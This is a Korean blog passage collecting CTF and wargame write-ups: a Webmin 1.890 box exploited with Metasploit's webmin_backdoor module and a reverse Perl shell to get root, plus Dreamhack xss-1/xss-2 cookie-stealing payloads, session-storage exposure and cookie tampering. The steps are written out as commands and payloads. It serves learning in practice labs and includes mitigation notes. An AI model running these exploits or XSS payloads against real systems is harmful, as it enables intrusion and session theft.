이전에는 SERVICE에서 ssh와 snet-sensor-mgmt 이러한 서비스만 하는 것으로 나와있는데 옵션을 추가하여 보면 VERSION 항이 뜨고 10000에서 사용하는 서버는 웹서버 인것을 확인할 수 있다

 

웹서비스를 운영하고 있으니 웹으로 한번 접속 해본다 여기서 SQL Injection,Brute forcing를 진행 할 순 있지만 일단 기존에 있던데로 진행을 한다

 

4. searchspoit

 

searchsploit은 nmap을 통해서 특정한 네트워크 웹 서비스들의 이름을 알았으니 이것을 통해서 공개된 exploit이 있는 찾아주는 툴

인터넷에 exploit-db 라는 웹 페이지와 연동이 되어있다.

┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# searchsploit miniserv 1.890                          
Exploits: No Results
Shellcodes: No Results
                                                                              
┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# searchsploit webmin httpd  
Exploits: No Results
Shellcodes: No Results
                                                                              
┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# searchsploit miniserv      
Exploits: No Results
Shellcodes: No Results
                                                                              
┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# searchsploit webmin      
-------------------------------------------- ---------------------------------
 Exploit Title                              |  Path
-------------------------------------------- ---------------------------------
DansGuardian Webmin Module 0.x - 'edit.cgi' | cgi/webapps/23535.txt
phpMyWebmin 1.0 - 'target' Remote File Incl | php/webapps/2462.txt
phpMyWebmin 1.0 - 'window.php' Remote File  | php/webapps/2451.txt
Webmin - Brute Force / Command Execution    | multiple/remote/705.pl
webmin 0.91 - Directory Traversal           | cgi/remote/21183.txt
Webmin 0.9x / Usermin 0.9x/1.0 - Access Ses | linux/remote/22275.pl
Webmin 0.x - 'RPC' Privilege Escalation     | linux/remote/21765.pl
Webmin 0.x - Code Input Validation          | linux/local/21348.txt
Webmin 1.5 - Brute Force / Command Executio | multiple/remote/746.pl
Webmin 1.5 - Web Brute Force (CGI)          | multiple/remote/745.pl
Webmin 1.580 - '/file/show.cgi' Remote Comm | unix/remote/21851.rb
Webmin 1.850 - Multiple Vulnerabilities     | cgi/webapps/42989.txt
Webmin 1.900 - Remote Command Execution (Me | cgi/remote/46201.rb
Webmin 1.910 - 'Package Updates' Remote Com | linux/remote/46984.rb
Webmin 1.920 - Remote Code Execution        | linux/webapps/47293.sh
Webmin 1.920 - Unauthenticated Remote Code  | linux/remote/47230.rb
Webmin 1.962 - 'Package Updates' Escape Byp | linux/webapps/49318.rb
Webmin 1.973 - 'run.cgi' Cross-Site Request | linux/webapps/50144.py
Webmin 1.973 - 'save_user.cgi' Cross-Site R | linux/webapps/50126.py
Webmin 1.984 - Remote Code Execution (Authe | linux/webapps/50809.py
Webmin 1.996 - Remote Code Execution (RCE)  | linux/webapps/50998.py
Webmin 1.x - HTML Email Command Execution   | cgi/webapps/24574.txt
Webmin < 1.290 / Usermin < 1.220 - Arbitrar | multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 - Arbitrar | multiple/remote/2017.pl
Webmin < 1.920 - 'rpc.cgi' Remote Code Exec | linux/webapps/47330.rb
-------------------------------------------- ---------------------------------
Shellcodes: No Results

 

정보를 통해서 취약점 검색을 해보던중 웹사이트 접속했을때 떳던 webmin에서 단서를 얻어 searchsploit을 하니 많은 취약점 들과 그것을 공격할 수 있는 exploit 코드들이 나와있다 그래서 version을 생각하고 다시 검색해보니 딱 1가지 결과가 나왔다

┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# searchsploit webmin 1.890
-------------------------------------------- ---------------------------------
 Exploit Title                              |  Path
-------------------------------------------- ---------------------------------
Webmin < 1.920 - 'rpc.cgi' Remote Code Exec | linux/webapps/47330.rb
-------------------------------------------- ---------------------------------
Shellcodes: No Results

 

하지만 이것은 로그인을 해야할 수도 있어서 우리가 찾고 있는 것은 Unauthenticated Remote Code 이다 그래서 1.890에서 가장 가까운 버전중에 우리가 사용해야할 Webmin 1.920 - Unauthenticated Remote Code  | linux/remote/47230.rb 이것을 한번 쓸 것이다 이것이 유용한 이유는 Remote Code Execution과 Unauthenticated Remote 이기 때문에 로그인을 하지 않고 원격으로 코드를 실행 할 수 있다

 

 

여기서 하나 더 하자면 -w 옵션을 주면 URL이 웹 페이지로 바뀐다.-> 웹 사이트로 들어간 이후에 코드를 확인할 수 있음

 

사이트에 나와있는 코드인데 설명에 보면 1.890 부터 1.920 까지 사용이 가능하다고 나온다 그러니 이제 본격적으로 exploit 하기전에 이것은 metasploit 모듈이기 때문에 metasploit을 사용해야한다

 

4. metasploit

┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# msfconsole
Metasploit tip: View all productivity tips with the tips command
                                                  
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v6.3.55-dev                          ]
+ -- --=[ 2397 exploits - 1235 auxiliary - 422 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search webmin 1.920

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/linux/http/webmin_backdoor  2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor


Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/webmin_backdoor

 

search를 통해서 사용할 수 있는 모듈이 나온다

 

msf6 > use 0
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(linux/http/webmin_backdoor) > options
Module options (exploit/linux/http/webmin_backdoor):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:p
                                         ort[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://doc
                                         s.metasploit.com/docs/using-metaspl
                                         oit/basics/using-metasploit.html
   RPORT      10000            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing conn
                                         ections
   SSLCert                     no        Path to a custom SSL certificate (d
                                         efault is randomly generated)
   TARGETURI  /                yes       Base path to Webmin
   URIPATH                     no        The URI to use for this exploit (de
                                         fault is random)
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface t
                                       o listen on. This must be an address
                                       on the local machine or 0.0.0.0 to li
                                       sten on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be
                                      specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Unix In-Memory)



View the full module info with the info, or info -d command.

 

여기서 가장 중요한 것은 RHOST(Remote Host) 공격하고자하는 대상이고 리버스쉘을 보낼 것이기 때문에 공격자의 IP를 적는 LHOST 도 중요하다

 

msf6 exploit(linux/http/webmin_backdoor) > set rhost 10.10.236.229
rhost => 10.10.236.229
msf6 exploit(linux/http/webmin_backdoor) > set lhost 10.8.59.204
lhost => 10.8.59.204
msf6 exploit(linux/http/webmin_backdoor) > exploit

[*] Started reverse TCP handler on 10.8.59.204:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.8.59.204:4444 -> 10.10.236.229:43168) at 2024-03-21 08:20:28 -0400


id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
pwd
/opt/webmin
find / -name "flag.txt"
/root/flag.txt
cd /root; cat ./flag.txt
GROOT{TH15_IS_0NLY_TH3_BEGINNING}

 

이렇게 리버스쉘을 획득하고 flag 까지 획득 할 수 있다

 

https://dreamhack.io/wargame/challenges/268

 

xss-2

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역

dreamhack.io

 

문제

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

플래그 형식은 DH{...} 입니다.

 

 

 

 

 

풀이

 

1. 코드 분석

  • /vuln
  • xss-1에서는 /vuln에 접속하면 alert 경고문이 떳는데 이번에는 경고문이 뜨지 않는다. 코드가 다른 것같아서 확인을 해보았다.
# XSS-1과 다르게 구성되어있다
# get으로 사용자가 입력한 param을 바로 return하는 형태가 아니라, render_template 함수를 사용하고 있다는 것이다
# render_template 함수는 flask에서 제공하는 함수로, Jinja2 템플릿 엔진을 사용하여 HTML 템플릿 파일을 렌더링한다
# 주어진 템플릿 파일의 이름과 함께 전달된 변수나 값들을 템플릿에 적용하여 완성된 HTML을 생성하는 것이다
@app.route("/vuln")
def vuln():
    return render_template("vuln.html")

# render_template 함수를 사용하면, 전달된 템플릿 변수가 기록될 때 HTML 엔티티코드로 변환해 저장되기 때문에 XSS가 발생하지 않게 됨
# 이용자가 입력한 값을 페이지에 그대로 출력하지 않는다는 것이다
# xss-1 은 /vuln 페이지에 접속시 alert가 떳다면 이번에는 <script>alert(1)</script>를 입력하더라고 XSS가 발생하지 않는다는 것을 확인 가능

 

  • /memo
# XSS-1 문제와 동일하게 구성되어있다. 
# 이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력
# 사용자가 URL의 memo 파라미터에 어떤 값을 입력하는지에 따라 화면에 출력되는 값도 달라지게 된다
@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

 

  • /flag
# chech_xss 함수에서는 , 이용자가 flag에 POST로 전송한 param 값이 XSS 공격에 사용될 수 있는 값인지 아닌지 확인한다
# 이때, check_xss에서는, 이용자가 flag 페이지에 입력한 param을 포함하여 vuln페이지에 접근하는 URL을 생성
# 결과적으로, read_url 함수를 통해 vuln 페이지에 접근하는 URL과 사용자의 쿠기가 전달되는 것
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
    
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

 

 

2. 취약점 분석

 

xss-1는 다르게, vuln 페이지에 존재하는 innerHTML을 통해서 <script>태그로 XSS를 발생시킬 수 없는 상황

-> 다른 XSS 공격 벡터를 시도해야한다

 

innerHTML은 웹 개발에서 사용하는 DOM(Document Object Model)의 속성 중에 하나이다. HTML 문서의 구조나 프로그래밍적으로 조작하고자 할 때 JS를 통해 DOM을 사용한다

  • var content = document.getElementById('example').innerHTML; =>읽기:요소의 내부 HTML을 가져온다
  • document.getElementById('example').innerHTML = 'New Content'; => 쓰기: 요소의 내부 HTML을 변경한다

innerHTML을 사용하면 요소의 내부 HTML을 문자열로 읽거나 설정 할 수 있다.  이용자의 입력을 바탕으로 innerHTML을 설정했을때 XSS 공격에 취약할 수 있으므로 주의가 필요

 

vuln.html

 

vuln.html에서 소스를 보았을때 <script>아 들어가져 있는데 이 코드는 현재 페이지의 URL쿼리 문자열에서 param 파라미터 값을 추출하고, 해당 값을 페이지 내의 vuln 이라는 ID를 가진 요소의 내부 HTML로 설정하는 코드이다.

=> 파라미터의 값을 통해 "쓰기"를 수행하는 것이다.

 

vuln.html에 존재하는 위 같은 코드는, innerHTML을 통해 사용자가 URL의 param 쿼리 파라미터를 조작하여 웹 페이지의 내용을 변경할 수 있게 한다는 취약점 발견

 

 

3. exploit

<img src="exploit.img" onerror="location.href='/memo?memo='+document.cookie">

 

flag 에 들어가서 위 코드를 입력하면 xss-1과 동일하게 flag 값을 준다.

 

 

4. 해결법

xss-2 문제와 같이 이용자 입력을 바탕으로 innerHTML을 설정했을때 XSS 공격에 취약할 수 있다.

사용자의 입력을 받기 전에 서버 측에서 입력값을 검증하거나 이스케이프 처리를 하는 방식등으로 사용하는 것이 좋다

 

 

 

 

이제 슬슬 어려워 지네요...ㅠㅠ

https://dreamhack.io/wargame/challenges/28/

 

xss-1

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역

dreamhack.io

 

문제

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

플래그 형식은 DH{...} 입니다.


풀이

 

1.  이 문제는 Flask 프레임워크로 구성, XSS를 통해 다른 이용자의 쿠키를 탈취해야하기 때문에, 다른 이용자가 방문하는 시나리오가 필요하기 때문에 셀레늄을 통해서 구현이 되어있다

 

2. 코드 분석

 

  • /vuln
# vuln 페이지를 구성하는 코드, 이용자가 전달한 param 파라미터 값을 출력
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져온다
    return param # 이용자의 입력값을 화면 상에 표시

 

  • /memo
# 이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력
@app.route("/memo") # memo 페이지 라우팅
def memo(): # memo 함수 선언
    global memo_text # 메모를 전역변수(global)로 참조
    text = request.args.get("memo", "") # 이용자가 전송한 memo 입력값을 가져옴
    memo_text += text + "\n" # 이용자가 전송한 memo 입력값을 memo_txt에 추가
    return render_template("memo.html", memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력

 

  • /flag
# POST => params 파라미터에 값과 쿠키에 FLAG를 포함해서 chech_xss 함수를 호출한다, check_xss는 read_rul 함수를 호출해 vuln 엔드포인트에 접속
def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True
    
    
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
    
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

 

 

3. 취약점 분석

vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력한다

memo는 render_template 함수를 이용해 memo.html을 출력 -> render_template 함수는 전달된 템플릿 변수를 기록 할 때마다 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않는다

그러나 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생.

 

4. exploit

  • /vuln 엔드포인트에서 발생하는 XSS 취약점을 통해 임의의 이용자 쿠키를 탈취
  • 탈취한 쿠키를 전달받기 위해서는 외부에서 접근가능한 웹서버를 사용하거나 memo 엔드포인트 사용
  • 공격에 사용할 수 있는 속성
  • -> location.href : 전체 URL을 번환하거나, URL을 업데이트할 수 있는 속성 값
  • -> document.cookie : 해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성 
  • flag 페이지에 들어가 <script>location.href = "/memo?memo=" + document.cookie;</script>를 입력한다

  • 입력한 후에 memo로 들어가면 flag가 찍혀 있는 모습을 확인 할 수 있다. 

 

 

5. 이러한 문제를 해결하는 방법

XSS 공격은 서버에서 이용자의 입력값을 별다른 검증없이 페이지에 출력할 경우 발생할 수있는 문제점이다

주로, 이용자의 입력값이 출력되는 페이지에서 발생하며, 해당 공격으로 타 이용자의 브라우저에 저장된 쿠키 및 세션 정보를 탈취할 수 있기 때문에

 

악성태그를 필터링하는 HTML Sanitization을 사용하거나 엔티티 코드로 치환하는 방법을 사용하면 문제 해결이 가능하다

 

'Dreamhack' 카테고리의 다른 글

[Dreamhack] Carve_Party WriteUp  (0) 2024.06.11
[Dreamhack] session-basic Write-Up  (0) 2024.03.16
[Dreamhack] cookie Write-Up  (1) 2024.03.16
[Dreamhack] phpreq Write-Up  (2) 2024.03.15
[Dreamhack] ex-req-ex Write-Up  (2) 2024.03.15

https://dreamhack.io/wargame/challenges/409

 

session-basic

Description 쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다. admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다. 플래그 형식은 DH{...} 입니다. Reference Background: Cook

dreamhack.io

 

문제 


쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다.admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다.
플래그 형식은 DH{...} 입니다.


 



풀이

 

 

1. 취약점 파악

@app.route('/admin')
def admin():
    # developer's note: review below commented code and uncomment it (TODO)

    #session_id = request.cookies.get('sessionid', None)
    #username = session_storage[session_id]
    #if username != 'admin':
    #    return render_template('index.html')

    return session_storage


if __name__ == '__main__':
    import os
    # create admin sessionid and save it to our storage
    # and also you cannot reveal admin's sesseionid by brute forcing!!! haha
    session_storage[os.urandom(32).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

 

이전에 풀었던 cookie 문제와 코드는 비슷한데 새로 추가된 다른 가장 중요한 취약점이라고 생각되어 위 코드 부분만 설명하고 바로 exploit 하겠습니다

  • cookie는 클라이언트가 인증을 하는 것이고 session은 서버에서 인증하는 것을 준다고 생각하면 쉽다
  • admin의 session 생성에 대해선 os.urandom(32).hex()를 통해서 무작위 랜덤 값이 생성되고 username이 admin인 세션 정보를 session_storage에 추가된다
  • 이 session_storage의 정보를 조회 할 수 있다면 무작위로 생성된 값을 계산하거나 어렵게 하지 않고, sessionid 값을 바로 획득가능하다
  • @app.route('/admin') 부분을 보면 /admin 라는 엔드포인트로 접근이 가능하다는 것인데 return 값으로 session_strorage 라고 나와있다 
  • 원래는 admin 권한을 가지고 있는 사용자만 접속이 가능한데 주석처리가 되어있으므로 누구든지 들어갈 수 있게 되었다
  • 그렇다면 주소창 끝에 /admin을 넣어 보면 뭔가 나오지 않을까!!
  • 이렇게 취약점을 찾았고 이제는 exploit을 해보자

 

2. exploit

그리고 cookie 와 동일하게 guest라는 id도 있고, 새로 추가된 user라는 id도 있으니 참고해서 사용하면 좋을 듯 하다

 

우선 guest user로 로그인해서 동작 확인을 하고 sessionid를 잘 만들어 주는지 확인한다

 

이후 취약점에서 파악 했던 /admin을 주소창에 추가한다

 

빙고!! admin의 sessionid 값이 session_storage에 저장이 되어있다

 

저 sessionid와 username을 검사 application에서 수정 및 추가해준다

 

추가 해준 뒤에 새로고침을 하면 admin으로 로그인이 되고 flag를 획득 할 수 있게 된다

 

 

 

 

FLAG

DH{8f3d86d1134c26fedf7c4c3ecd563aae3da98d5c}

'Dreamhack' 카테고리의 다른 글

[Dreamhack] Carve_Party WriteUp  (0) 2024.06.11
[Dreamhack] xss-1 Write-Up  (0) 2024.03.18
[Dreamhack] cookie Write-Up  (1) 2024.03.16
[Dreamhack] phpreq Write-Up  (2) 2024.03.15
[Dreamhack] ex-req-ex Write-Up  (2) 2024.03.15

https://dreamhack.io/wargame/challenges/6

 

cookie

쿠키로 인증 상태를 관리하는 간단한 로그인 서비스입니다. admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다. 플래그 형식은 DH{...} 입니다. Reference Introduction of Webhacking

dreamhack.io

 

문제

쿠키로 인증 상태를 관리하는 간단한 로그인 서비스입니다.
admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다.

플래그 형식은 DH{...} 입니다.

 

 

 


 

풀이

 

1. 문제를 다운 받고 app.py 코드를 확인한다

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {
    'guest': 'guest',
    'admin': FLAG
}

@app.route('/')
def index():
    username = request.cookies.get('username', None)
    if username:
        return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            resp.set_cookie('username', username)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

app.run(host='0.0.0.0', port=8000)

 

flask로 이루어진 코드를 확인 할 수 있다.

 

flask 코드를 볼 줄 알아야 그래도 문제를 이해하고 풀 수 있다

 

 

 

2. 취약점 분석

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {
    'guest': 'guest',
    'admin': FLAG
}

@app.route('/')
def index():
    username = request.cookies.get('username', None)
    if username:
        return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
    return render_template('index.html')

 

처음 중점적으로 봤던 부분은 users 부분이다.

  • admin 뿐만 아니라 guest 라는 user도 있다
  • guest라는 user로 로그인하면 guest라는 쿠키를 얻는다
  • 하지만 guest라는 계정으로 로그인하면 you are not admin이라는 문구를 띄운다
  • admin 계정으로 로그인하면 Hello admin flag is DH{..} 이런식으로 flag 를 띄어주는 것같다
  • flag는 ./flag.txt. 파일을 열어서 읽어준다

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            resp.set_cookie('username', username)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

app.run(host='0.0.0.0', port=8000)

 

  • /login 이라는 경로에서 일어나는 http method에 관해서 적혀있다
  • cookie가 생성되는 방식에 대해서는 여기서 다시 나와있다 key value로 저장이 되는데 guest로 로그인시 key = username, value = guest 가 되는 것이다. 
  • 이미 정답을 알지 않았는가??
  • 저 코드에 의하면 key=username 이고 value가 username에 따라서 바뀐다면 admin으로 바뀌면 문제가 풀릴 것이다.
  • 코드를 보고 문제의 가닥을 잡았으니 진짜 문제를 풀어보자

 

3. exploit

 

주어진 웹해킹 사이트에 접속해 검사에서 Network 부분이 나오게 한다

이후에 알고 있는 guest 아이디로 로그인한다

 

 

 

역시 guest로 로그인하면 너는 admin이 아니다 라는 문구와 함께 검사창에 Set-Cookie 가 남는 모습을 확인할 수 있다

 

Application 부분에서 Key(Name) 부분은 역시 username 으로 Value 부분에는 guest로 나온다 코드에서 본것과 같이 나오는 모습이다 그럼 이제 value 부분을 admin으로 변경 후에 새로고침을 해보자

새로고침을 하니 자동으로 admin 계정으로 로그인이 되고 flag 값을 출력하는 것을 확인 할 수 있다.

 

 

 

 

 

 

FLAG

DH{7952074b69ee388ab45432737f9b0c56}

'Dreamhack' 카테고리의 다른 글

[Dreamhack] xss-1 Write-Up  (0) 2024.03.18
[Dreamhack] session-basic Write-Up  (0) 2024.03.16
[Dreamhack] phpreq Write-Up  (2) 2024.03.15
[Dreamhack] ex-req-ex Write-Up  (2) 2024.03.15
[Dreamhack] blue-whale Write-Up  (3) 2024.03.15

+ Recent posts